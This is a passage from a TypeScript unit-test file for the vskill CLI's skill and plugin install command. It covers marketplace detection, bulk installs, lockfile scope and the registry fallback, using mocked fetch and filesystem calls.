      plugins: [
        { name: "backend", source: "./plugins/backend", version: "1.0.0" },
      ],
    });

    globalThis.fetch = vi.fn().mockImplementation(async (url: string) => {
      // Marketplace manifest — "unlisted" NOT listed
      if (url.includes("marketplace.json")) {
        return { ok: true, text: async () => noUnlistedMarketplace };
      }
      // Skills directory listing inside the probed folder
      if (url.includes("/contents/plugins/unlisted/skills")) {
        return {
          ok: true,
          json: async () => [{ name: "react", type: "dir" }],
        };
      }
      // Commands directory listing
      if (url.includes("/contents/plugins/unlisted/commands")) {
        return { ok: true, json: async () => [] };
      }
      // Folder probe: plugins/unlisted/ exists as a directory
      if (url.includes("/contents/plugins/unlisted")) {
        return {
          ok: true,
          json: async () => [
            { name: "skills", type: "dir" },
            { name: "commands", type: "dir" },
          ],
        };
      }
      // Raw SKILL.md content
      if (url.includes("/skills/react/SKILL.md")) {
        return { ok: true, text: async () => "# React Skill\nUI library" };
      }
      return { ok: false };
    }) as unknown as typeof fetch;

    await addCommand("ignored", { repo: "anton-abyzov/vskill", plugin: "unlisted" });

    // Should have installed the skill under the plugin namespace
    const writeCalls = mockWriteFileSync.mock.calls as [string, string][];
    const skillPaths = writeCalls.filter(([p]) => p.includes("SKILL.md")).map(([p]) => p);
    expect(skillPaths.length).toBe(1);
    expect(skillPaths[0]).toContain("/unlisted/react/SKILL.md");

    // Lockfile should record version 0.0.0 since plugin is not in marketplace
    expect(mockWriteLockfile).toHaveBeenCalled();
    const lock = mockWriteLockfile.mock.calls[0][0];
    expect(lock.skills.unlisted).toBeDefined();
    expect(lock.skills.unlisted.version).toBe("0.0.0");
  });

  it("exits with error when plugin not found in marketplace or as a folder in the repo", async () => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    globalThis.fetch = vi.fn().mockImplementation(async (url: string) => {
      if (url.includes("marketplace.json")) {
        return { ok: true, text: async () => marketplaceJson };
      }
      return { ok: false };
    }) as unknown as typeof fetch;

    const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });

    try {
      await addCommand("ignored", { repo: "anton-abyzov/vskill", plugin: "nonexistent" });
    } catch { /* expected */ }

    expect(exitSpy).toHaveBeenCalledWith(1);
    exitSpy.mockRestore();
  });

  it("runs security scan on combined skill content", async () => {
    setupHappyPath();

    await addCommand("ignored", { repo: "anton-abyzov/vskill", plugin: "frontend" });

    expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
    const scannedContent = mockRunTier1Scan.mock.calls[0][0] as string;
    // Combined content should include both skills and the command
    expect(scannedContent).toContain("Next.js Skill");
    expect(scannedContent).toContain("React Skill");
    expect(scannedContent).toContain("Scaffold");
  });

  it("avoids double namespace when pluginName matches localSkillsDir basename", async () => {
    // Agent whose localSkillsDir ends in "skills" — same as the plugin name
    const skillsAgent = makeAgent({
      id: "claude-code",
      displayName: "Claude Code",
      localSkillsDir: ".claude/skills",
      globalSkillsDir: "~/.claude/skills",
    });

    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([skillsAgent]);
    mockFindProjectRoot.mockReturnValue("/project");
    mockExistsSync.mockReturnValue(false);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    // Marketplace with a plugin literally named "skills"
    const skillsMarketplace = JSON.stringify({
      name: "test-marketplace",
      version: "1.0.0",
      plugins: [
        { name: "skills", source: "./plugins/skills", version: "1.0.0" },
      ],
    });

    globalThis.fetch = vi.fn().mockImplementation(async (url: string) => {
      if (url.includes("marketplace.json")) {
        return { ok: true, text: async () => skillsMarketplace };
      }
      // Skills directory listing inside plugins/skills/skills/
      if (url.includes("/contents/plugins/skills/skills")) {
        return {
          ok: true,
          json: async () => [{ name: "scout", type: "dir" }],
        };
      }
      // Commands directory
      if (url.includes("/contents/plugins/skills/commands")) {
        return { ok: true, json: async () => [] };
      }
      // Raw SKILL.md content
      if (url.includes("/skills/scout/SKILL.md")) {
        return { ok: true, text: async () => "# Scout Skill\nDiscovery tool" };
      }
      return { ok: false };
    }) as unknown as typeof fetch;

    await addCommand("ignored", { repo: "owner/repo", plugin: "skills" });

    // Verify the written paths: should be .claude/skills/scout/SKILL.md
    // NOT .claude/skills/skills/scout/SKILL.md (double namespace bug)
    const writeCalls = mockWriteFileSync.mock.calls as [string, string][];
    const skillPaths = writeCalls.filter(([p]) => p.includes("SKILL.md")).map(([p]) => p);
    expect(skillPaths.length).toBe(1);
    expect(skillPaths[0]).toContain("/skills/scout/SKILL.md");
    expect(skillPaths[0]).not.toContain("/skills/skills/");
  });
});

// ---------------------------------------------------------------------------
// --all flag tests (bulk repo install)
// ---------------------------------------------------------------------------

describe("addCommand with --repo --all flag (bulk install)", () => {
  const originalFetch = globalThis.fetch;

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  const marketplaceJson = JSON.stringify({
    name: "vskill",
    version: "1.0.0",
    plugins: [
      { name: "frontend", source: "./plugins/frontend", description: "Frontend skills", version: "1.0.0" },
      { name: "backend", source: "./plugins/backend", description: "Backend skills", version: "1.0.0" },
      { name: "testing", source: "./plugins/testing", description: "Testing skills", version: "1.0.0" },
    ],
  });

  function setupAllHappyPath() {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockFindProjectRoot.mockReturnValue("/project");
    mockExistsSync.mockReturnValue(false);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    globalThis.fetch = vi.fn().mockImplementation(async (url: string) => {
      if (url.includes("marketplace.json")) {
        return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
      }
      // Skills directory for any plugin
      if (url.includes("/contents/plugins/") && url.includes("/skills")) {
        return {
          ok: true,
          json: async () => [{ name: "skill-one", type: "dir" }],
        };
      }
      // Commands directory
      if (url.includes("/contents/plugins/") && url.includes("/commands")) {
        return { ok: true, json: async () => [] };
      }
      // SKILL.md content
      if (url.includes("/SKILL.md")) {
        return { ok: true, text: async () => "# Test Skill\nDomain expertise" };
      }
      return { ok: false };
    }) as unknown as typeof fetch;
  }

  it("installs all plugins from marketplace when --all is passed", async () => {
    setupAllHappyPath();

    await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });

    // Should write lockfile entries for all 3 plugins
    expect(mockWriteLockfile).toHaveBeenCalledTimes(3);

    const lockCalls = mockWriteLockfile.mock.calls;
    const pluginNames = lockCalls.map((call) =>
      Object.keys((call[0] as { skills: Record<string, unknown> }).skills).filter(k => ["frontend", "backend", "testing"].includes(k))
    ).flat();
    expect(pluginNames).toContain("frontend");
    expect(pluginNames).toContain("backend");
    expect(pluginNames).toContain("testing");
  });

  it("writes lockfile with github source for each plugin", async () => {
    setupAllHappyPath();

    await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });

    // Check each call has correct source format
    const allLocks = mockWriteLockfile.mock.calls.map((call) => call[0] as { skills: Record<string, { source: string }> });
    const sources = allLocks.flatMap(lock =>
      Object.entries(lock.skills).map(([name, entry]) => ({ name, source: entry.source }))
    );

    const frontendEntry = sources.find(s => s.name === "frontend");
    expect(frontendEntry?.source).toBe("github:anton-abyzov/vskill#plugin:frontend");
  });

  it("continues installing after one plugin fails", async () => {
    setupAllHappyPath();

    // Make "backend" fail by having its skills dir return empty
    let callCount = 0;
    globalThis.fetch = vi.fn().mockImplementation(async (url: string) => {
      if (url.includes("marketplace.json")) {
        return { ok: true, text: async () => marketplaceJson, json: async () => JSON.parse(marketplaceJson) };
      }
      // Make the second plugin (backend) return no skills
      if (url.includes("/contents/plugins/backend/skills")) {
        return { ok: true, json: async () => [] };
      }
      if (url.includes("/contents/plugins/backend/commands")) {
        return { ok: true, json: async () => [] };
      }
      if (url.includes("/contents/plugins/") && url.includes("/skills")) {
        return {
          ok: true,
          json: async () => [{ name: "skill-one", type: "dir" }],
        };
      }
      if (url.includes("/contents/plugins/") && url.includes("/commands")) {
        return { ok: true, json: async () => [] };
      }
      if (url.includes("/SKILL.md")) {
        return { ok: true, text: async () => "# Test Skill\nContent" };
      }
      return { ok: false };
    }) as unknown as typeof fetch;

    await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });

    // Should still install frontend and testing (backend fails)
    // lockfile written at least twice (for frontend and testing)
    expect(mockWriteLockfile.mock.calls.length).toBeGreaterThanOrEqual(2);
  });

  it("exits with error when --all used without --repo", async () => {
    const exitSpy = vi.spyOn(process, "exit").mockImplementation(() => { throw new Error("exit"); });

    try {
      await addCommand(undefined, { all: true });
    } catch { /* expected */ }

    expect(exitSpy).toHaveBeenCalledWith(1);
    exitSpy.mockRestore();
  });

  it("does not require source argument when --repo --all is used", async () => {
    setupAllHappyPath();

    // source is undefined — should work fine with --repo --all
    await addCommand(undefined, { repo: "anton-abyzov/vskill", all: true });

    // Should not throw — verify plugins were installed
    expect(mockWriteLockfile).toHaveBeenCalled();
  });
});

// ---------------------------------------------------------------------------
// Project root consistency — lockfile and skills use the same base dir
// ---------------------------------------------------------------------------

describe("addCommand project root consistency", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("passes project root to ensureLockfile and writeLockfile in discovery flow", async () => {
    const cwd = "/home/user/my-project";
    const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
    mockFindProjectRoot.mockReturnValue(cwd);
    mockDiscoverSkills.mockResolvedValue([
      { name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
    ]);

    await addCommand("owner/repo", {});

    expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
    expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);

    cwdSpy.mockRestore();
  });

  it("passes project root to ensureLockfile and writeLockfile in single-skill legacy flow", async () => {
    const cwd = "/home/user/my-project";
    const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
    mockFindProjectRoot.mockReturnValue(cwd);

    await addCommand("owner/repo/my-skill", {});

    expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
    expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);

    cwdSpy.mockRestore();
  });

  it("passes project root to ensureLockfile and writeLockfile in registry flow with content", async () => {
    const cwd = "/home/user/my-project";
    const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
    mockFindProjectRoot.mockReturnValue(cwd);
    mockGetSkill.mockResolvedValue({
      name: "my-skill",
      author: "alice",
      version: "1.0.0",
      content: "# My Skill",
      installs: 0,
      updatedAt: "",
    });

    await addCommand("my-skill", {});

    expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);
    expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), cwd);

    cwdSpy.mockRestore();
  });

  it("canonical installer and lockfile both use same project root in discovery flow", async () => {
    const cwd = "/home/user/deep/project";
    const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(cwd);
    mockFindProjectRoot.mockReturnValue(cwd);
    mockDiscoverSkills.mockResolvedValue([
      { name: "alpha", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
    ]);

    await addCommand("owner/repo", {});

    expect(mockInstallSymlink).toHaveBeenCalled();
    const installOpts = mockInstallSymlink.mock.calls[0][3];
    expect(installOpts.projectRoot).toBe(cwd);

    expect(mockEnsureLockfile).toHaveBeenCalledWith(cwd);

    cwdSpy.mockRestore();
  });

  it("uses ~/.agents/ for lockfile when global scope is selected", async () => {
    mockHomedir.mockReturnValue("/home/testuser");
    mockFindProjectRoot.mockReturnValue("/home/testuser/my-project");
    mockDiscoverSkills.mockResolvedValue([
      { name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
    ]);

    await addCommand("owner/repo", { global: true });

    // Lockfile should go to ~/.agents/, not the project root
    expect(mockEnsureLockfile).toHaveBeenCalledWith("/home/testuser/.agents");
    expect(mockWriteLockfile).toHaveBeenCalledWith(expect.anything(), "/home/testuser/.agents");
  });

  it("sets scope field on lockfile entries for global installs", async () => {
    mockHomedir.mockReturnValue("/home/testuser");
    mockFindProjectRoot.mockReturnValue("/home/testuser/my-project");
    mockDiscoverSkills.mockResolvedValue([
      { name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
    ]);

    await addCommand("owner/repo", { global: true });

    // Check that the lock object passed to writeLockfile has scope: "user"
    const lockArg = mockWriteLockfile.mock.calls[0]?.[0];
    const entry = lockArg?.skills?.["skill-a"];
    expect(entry?.scope).toBe("user");
  });

  it("sets scope field to 'project' for project-scoped installs", async () => {
    const projectRoot = "/home/testuser/my-project";
    mockFindProjectRoot.mockReturnValue(projectRoot);
    mockDiscoverSkills.mockResolvedValue([
      { name: "skill-a", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
    ]);

    await addCommand("owner/repo", {});

    const lockArg = mockWriteLockfile.mock.calls[0]?.[0];
    const entry = lockArg?.skills?.["skill-a"];
    expect(entry?.scope).toBe("project");
  });
});

// ---------------------------------------------------------------------------
// Error handling — installOneGitHubSkill must not silently swallow errors
// ---------------------------------------------------------------------------

describe("addCommand error handling in discovery flow", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockFindProjectRoot.mockReturnValue(process.cwd());
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("logs error and marks skill as not installed when canonical installer throws", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "broken", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/o/r/main/SKILL.md" },
    ]);

    mockInstallSymlink.mockImplementation(() => {
      throw new Error("EACCES: permission denied");
    });

    await addCommand("owner/repo", {});

    // Error should be logged (not swallowed)
    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("Failed to install");
    expect(errorOutput).toContain("EACCES");

    // Skill should NOT appear in lockfile
    const lockArg = mockWriteLockfile.mock.calls[0]?.[0] as { skills: Record<string, unknown> } | undefined;
    if (lockArg) {
      expect(lockArg.skills).not.toHaveProperty("broken");
    }
  });
});

// ---------------------------------------------------------------------------
// Flat name deprecation — tip message for owner/repo format
// ---------------------------------------------------------------------------

describe("addCommand flat name identifier guidance", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockFindProjectRoot.mockReturnValue(process.cwd());
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("shows format tip when source is a flat name going to registry", async () => {
    mockGetSkill.mockResolvedValue({
      name: "my-skill",
      author: "alice",
      version: "1.0.0",
      content: "# My Skill",
      installs: 0,
      updatedAt: "",
    });

    await addCommand("my-skill", {});

    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("owner/repo");
  });

  it("shows resolution hint when registry falls back to GitHub", async () => {
    mockGetSkill.mockResolvedValue({
      name: "remotion-dev-skills-remotion",
      author: "remotion-dev",
      content: undefined,
      repoUrl: "https://github.com/remotion-dev/skills",
      installs: 0,
      updatedAt: "",
    });

    mockDiscoverSkills.mockResolvedValue([
      { name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
    ]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Remotion skill",
    }) as unknown as typeof fetch;

    await addCommand("remotion-dev-skills-remotion", {});

    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    // Should suggest the owner/repo format (no longer 3-part)
    expect(logOutput).toContain("vskill install remotion-dev/skills");
  });
});

// ---------------------------------------------------------------------------
// Registry → GitHub fallback: auto-select matching skill (_targetSkill)
// ---------------------------------------------------------------------------

describe("addCommand registry fallback auto-selects matching skill", () => {
  const originalFetch = globalThis.fetch;

  beforeEach(() => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockCheckPlatformSecurity.mockResolvedValue(null);
    mockRunTier1Scan.mockReturnValue(makeScanResult());
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockFindProjectRoot.mockReturnValue(process.cwd());
    // Reset canonical installer (earlier test overrides with throwing impl)
    mockInstallSymlink.mockReturnValue([]);
    mockInstallCopy.mockReturnValue([]);
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: "2026-01-01T00:00:00.000Z",
      updatedAt: "2026-01-01T00:00:00.000Z",
    });
  });

  afterEach(() => {
    globalThis.fetch = originalFetch;
  });

  it("auto-selects matching skill from multi-skill repo (installs 1, not all)", async () => {
    mockGetSkill.mockResolvedValue({
      name: "excalidraw-diagram-generator",
      author: "github",
      content: undefined,
      repoUrl: "https://github.com/github/awesome-copilot",
      installs: 100,
      updatedAt: "2026-02-20T00:00:00Z",
    });

    mockDiscoverSkills.mockResolvedValue([
      { name: "code-review", path: "skills/code-review/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/code-review/SKILL.md" },
      { name: "excalidraw-diagram-generator", path: "skills/excalidraw-diagram-generator/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/excalidraw-diagram-generator/SKILL.md" },
      { name: "unit-test-writer", path: "skills/unit-test-writer/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/unit-test-writer/SKILL.md" },
    ]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Excalidraw Diagram Generator",
    }) as unknown as typeof fetch;

    await addCommand("excalidraw-diagram-generator", {});

    // Should only install 1 skill, not all 3
    expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(Object.keys(lockArg.skills)).toHaveLength(1);
    expect(lockArg.skills).toHaveProperty("excalidraw-diagram-generator");
    expect(lockArg.skills).not.toHaveProperty("code-review");
    expect(lockArg.skills).not.toHaveProperty("unit-test-writer");
  });

  it("aborts in non-TTY when registry name does not match any discovered skill", async () => {
    mockGetSkill.mockResolvedValue({
      name: "remotion-dev-skills-remotion",
      author: "remotion-dev",
      content: undefined,
      repoUrl: "https://github.com/remotion-dev/skills",
      installs: 0,
      updatedAt: "2026-02-20T00:00:00Z",
    });

    // Registry name "remotion-dev-skills-remotion" does NOT match dir names
    mockDiscoverSkills.mockResolvedValue([
      { name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
      { name: "video-editor", path: "skills/video-editor/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/video-editor/SKILL.md" },
    ]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
      throw new Error("process.exit");
    });

    // Non-TTY + no match → should abort, not install all
    await expect(
      addCommand("remotion-dev-skills-remotion", {}),
    ).rejects.toThrow("process.exit");

    const errorOutput = (console.error as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(errorOutput).toContain("not found among 2 skills");
    expect(errorOutput).toContain("remotion, video-editor");

    mockExit.mockRestore();
  });

  it("auto-selects with case-insensitive match (registry slug vs directory name)", async () => {
    mockGetSkill.mockResolvedValue({
      name: "code-review",
      author: "github",
      content: undefined,
      repoUrl: "https://github.com/github/copilot-skills",
      installs: 50,
      updatedAt: "2026-02-20T00:00:00Z",
    });

    // Directory has mixed case — registry slug is lowercase
    mockDiscoverSkills.mockResolvedValue([
      { name: "Code-Review", path: "skills/Code-Review/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/copilot-skills/main/skills/Code-Review/SKILL.md" },
      { name: "unit-test", path: "skills/unit-test/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/copilot-skills/main/skills/unit-test/SKILL.md" },
    ]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Code Review Skill",
    }) as unknown as typeof fetch;

    await addCommand("code-review", {});

    // Should auto-select only Code-Review, not unit-test
    expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(Object.keys(lockArg.skills)).toHaveLength(1);
    expect(lockArg.skills).toHaveProperty("Code-Review");
    expect(lockArg.skills).not.toHaveProperty("unit-test");
  });

  it("tip message suggests owner/repo format for direct install", async () => {
    mockGetSkill.mockResolvedValue({
      name: "excalidraw-diagram-generator",
      author: "github",
      content: undefined,
      repoUrl: "https://github.com/github/awesome-copilot",
      installs: 0,
      updatedAt: "2026-02-20T00:00:00Z",
    });

    mockDiscoverSkills.mockResolvedValue([
      { name: "excalidraw-diagram-generator", path: "skills/excalidraw-diagram-generator/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/excalidraw-diagram-generator/SKILL.md" },
    ]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    await addCommand("excalidraw-diagram-generator", {});

    const logOutput = (console.log as ReturnType<typeof vi.fn>).mock.calls
      .map((c: unknown[]) => String(c[0]))
      .join("\n");
    expect(logOutput).toContain("vskill install github/awesome-copilot");
  });

  it("does not auto-filter when _targetSkill is not set (direct owner/repo)", async () => {
    mockDiscoverSkills.mockResolvedValue([
      { name: "skill-a", path: "skills/skill-a/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/skill-a/SKILL.md" },
      { name: "skill-b", path: "skills/skill-b/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/skill-b/SKILL.md" },
    ]);

    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# Skill content",
    }) as unknown as typeof fetch;

    // Direct install without registry — no _targetSkill
    await addCommand("owner/repo", {});

    // Both skills should be installed
    expect(mockRunTier1Scan).toHaveBeenCalledTimes(2);
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(Object.keys(lockArg.skills)).toHaveLength(2);
  });
});

// ---------------------------------------------------------------------------
// Marketplace Detection & Install Mode (increment 0382)
// ---------------------------------------------------------------------------

const SAMPLE_MARKETPLACE_JSON = JSON.stringify({
  name: "test-marketplace",
  owner: { name: "Test Author" },
  plugins: [
    { name: "plugin-a", source: "./plugins/plugin-a", version: "1.0.0", description: "First plugin" },
    { name: "plugin-b", source: "./plugins/plugin-b", version: "2.0.0", description: "Second plugin" },
    { name: "plugin-c", source: "./plugins/plugin-c", version: "1.5.0", description: "Third plugin" },
  ],
});

describe("detectMarketplaceRepo", () => {

  it("TC-001: detects repo with .claude-plugin/marketplace.json", async () => {
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      }) as unknown as typeof fetch;

    const result = await detectMarketplaceRepo("owner", "repo");
    expect(result.isMarketplace).toBe(true);
    expect(result.manifestContent).toBe(SAMPLE_MARKETPLACE_JSON);
  });

  it("TC-002: returns false for repo without marketplace.json", async () => {
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: false,
      status: 404,
    }) as unknown as typeof fetch;

    const result = await detectMarketplaceRepo("owner", "repo");
    expect(result.isMarketplace).toBe(false);
    expect(result.manifestContent).toBeUndefined();
  });

  it("TC-003: returns false on network error (graceful fallback)", async () => {
    globalThis.fetch = vi.fn().mockRejectedValue(new Error("Network error")) as unknown as typeof fetch;

    const result = await detectMarketplaceRepo("owner", "repo");
    expect(result.isMarketplace).toBe(false);
  });

  it("decodes base64 content when download_url is missing", async () => {
    const base64Content = Buffer.from(SAMPLE_MARKETPLACE_JSON).toString("base64");
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      json: async () => ({ content: base64Content, encoding: "base64" }),
    }) as unknown as typeof fetch;

    const result = await detectMarketplaceRepo("owner", "repo");
    expect(result.isMarketplace).toBe(true);
    expect(result.manifestContent).toBe(SAMPLE_MARKETPLACE_JSON);
  });

  it("returns false when marketplace.json has no plugins", async () => {
    const emptyManifest = JSON.stringify({ name: "empty", owner: { name: "Test" }, plugins: [] });
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => emptyManifest,
      }) as unknown as typeof fetch;

    const result = await detectMarketplaceRepo("owner", "repo");
    expect(result.isMarketplace).toBe(false);
  });
});

describe("addCommand marketplace integration", () => {
  beforeEach(() => {
    mockEnsureLockfile.mockReturnValue({
      version: 1,
      agents: [],
      skills: {},
      createdAt: new Date().toISOString(),
      updatedAt: new Date().toISOString(),
    });
    mockGetMarketplaceName.mockReturnValue("test-marketplace");
    // Ensure fs mocks have correct return values (clearAllMocks preserves them,
    // but restoreAllMocks from other describe blocks might have reset them)
    mockMkdtempSync.mockReturnValue("/tmp/vskill-marketplace-abc123");
  });

  it("TC-004: routes to marketplace flow when repo is a marketplace", async () => {
    // Marketplace detection succeeds + fallback for skill discovery/download
    globalThis.fetch = vi.fn()
      .mockResolvedValueOnce({
        ok: true,
        json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
      })
      .mockResolvedValueOnce({
        ok: true,
        text: async () => SAMPLE_MARKETPLACE_JSON,
      })
      .mockResolvedValue({
        ok: true,
        json: async () => [{ name: "test-skill", type: "dir" }],
        text: async () => "# Skill Content",
      }) as unknown as typeof fetch;

    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);

    // --yes to auto-select all
    await addCommand("owner/repo", { yes: true });

    // Should NOT call discoverSkills
    expect(mockDiscoverSkills).not.toHaveBeenCalled();
    // Should write lockfile with marketplace source
    expect(mockWriteLockfile).toHaveBeenCalled();
    const lockArg = mockWriteLockfile.mock.calls[0][0];
    expect(lockArg.skills["plugin-a"].source).toBe("marketplace:owner/repo#plugin-a");
  });

  it("TC-005: falls through to discovery when repo is NOT a marketplace", async () => {
    // Marketplace detection fails (404)
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: false,
      status: 404,
    }) as unknown as typeof fetch;

    // Discovery returns skills
    mockDiscoverSkills.mockResolvedValue([
      { name: "my-skill", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
    ]);

    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockRunTier1Scan.mockReturnValue(makeScanResult());

    // Re-mock fetch for skill content
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
      text: async () => "# My Skill Content",
    }) as unknown as typeof fetch;

    await addCommand("owner/repo", {});

    // Should call discoverSkills
    expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
  });

  it("TC-006: --plugin flag bypasses marketplace detection", async () => {
    mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
    mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
    mockRunTier1Scan.mockReturnValue(makeScanResult());

    // Mock fetch for marketplace.json lookup (via installRepoPlugin)
    globalThis.fetch = vi.fn().mockResolvedValue({
      ok: true,
